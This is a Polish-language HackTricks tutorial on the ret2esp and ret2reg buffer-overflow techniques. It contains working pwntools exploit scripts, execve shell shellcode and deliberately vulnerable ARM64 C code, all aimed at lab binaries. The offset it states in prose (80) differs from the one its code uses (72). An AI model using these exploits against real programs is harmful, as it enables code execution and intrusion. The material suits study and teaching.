Ret2esp / Ret2reg

Wesprzyj HackTricks

Ret2esp

Ponieważ ESP (Wskaźnik stosu) zawsze wskazuje na górę stosu, ta technika polega na zastąpieniu EIP (Wskaźnik instrukcji) adresem instrukcji jmp esp lub call esp. Dzięki temu shellcode jest umieszczany bezpośrednio po nadpisanej wartości EIP. Gdy instrukcja ret zostanie wykonana, ESP wskazuje na następny adres, dokładnie tam, gdzie przechowywany jest shellcode.

Jeśli Randomizacja Układu Przestrzeni Adresowej (ASLR) nie jest włączona w systemie Windows lub Linux, można użyć instrukcji jmp esp lub call esp znalezionych w bibliotekach współdzielonych. Jednakże, przy aktywnym ASLR, konieczne może być poszukiwanie tych instrukcji w samym programie podatnym (i być może trzeba będzie pokonać PIE).

Co więcej, umożliwienie umieszczenia shellcode po nadpisaniu EIP, a nie w środku stosu, zapewnia, że żadne instrukcje push lub pop wykonane podczas działania funkcji nie będą ingerować w shellcode. Taka ingerencja mogłaby wystąpić, gdyby shellcode został umieszczony w środku stosu funkcji.

Brak miejsca

Jeśli brakuje miejsca do zapisania po nadpisaniu RIP (może to być tylko kilka bajtów), napisz początkowy jmp shellcode, na przykład:

sub rsp, 0x30
jmp rsp

I zapisz shellcode na początku stosu.

Przykład

Możesz znaleźć przykład tej techniki w https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp z końcowym exploit'em jak:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Możesz zobaczyć kolejny przykład tej techniki na https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Istnieje tu przepełnienie bufora bez włączonego NX, używany jest gadżet do zmniejszenia adresu $esp a następnie jmp esp; aby przejść do kodu powłoki:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Podobnie, jeśli znamy funkcję zwracającą adres, w którym przechowywany jest kod powłoki, możemy wykorzystać instrukcje call eax lub jmp eax (znane jako technika ret2eax), oferującą inną metodę wykonania naszego kodu powłoki. Podobnie jak eax, dowolny inny rejestr zawierający interesujący adres może być użyty (ret2reg).

Przykład

Możesz znaleźć kilka przykładów tutaj:

ARM64

Ret2sp

W ARM64 nie ma instrukcji pozwalających na skok do rejestru SP. Możliwe jest znalezienie gadżetu, który przenosi sp do rejestru, a następnie skacze do tego rejestru, ale w bibliotece libc mojego kali nie znalazłem takiego gadżetu:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Jedynymi, które odkryłem, zmieniłyby wartość rejestru, do którego został skopiowany sp przed skokiem do niego (co sprawiłoby, że stałby się bezużyteczny):

Ret2reg

Jeśli rejestr ma interesujący adres, można do niego skoczyć, znajdując odpowiednią instrukcję. Możesz użyć czegoś w stylu:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

W ARM64 to x0 przechowuje wartość zwracaną przez funkcję, więc może się zdarzyć, że x0 przechowuje adres bufora kontrolowanego przez użytkownika z shellcodem do wykonania.

Przykładowy kod:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Sprawdzając rozkład funkcji, można zauważyć, że adres bufora (podatnego na przepełnienie buforu i kontrolowanego przez użytkownika) jest przechowywany w x0 przed powrotem z przepełnienia buforu:

Można również znaleźć gadżet br x0 w funkcji do_stuff:

Wykorzystamy ten gadżet, aby do niego przeskoczyć, ponieważ binarny plik jest kompilowany BEZ PIE. Korzystając z wzorca, można zauważyć, że przesunięcie przepełnienia buforu wynosi 80, więc exploit będzie:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Jeśli zamiast fgets zostało użyte coś w stylu read, byłoby możliwe obejście PIE również przez nadpisanie tylko ostatnich 2 bajtów adresu powrotu aby powrócić do instrukcji br x0; bez konieczności znajomości pełnego adresu. Z fgets to nie działa, ponieważ dodaje bajt null (0x00) na końcu.

Protections

  • NX: Jeśli stos nie jest wykonawczy, to nie pomoże, ponieważ musimy umieścić shellcode na stosie i skoczyć, aby go wykonać.

  • ASLR & PIE: Te mogą sprawić, że będzie trudniej znaleźć instrukcję do skoku do esp lub dowolnego innego rejestru.

References

Wesprzyj HackTricks

Last updated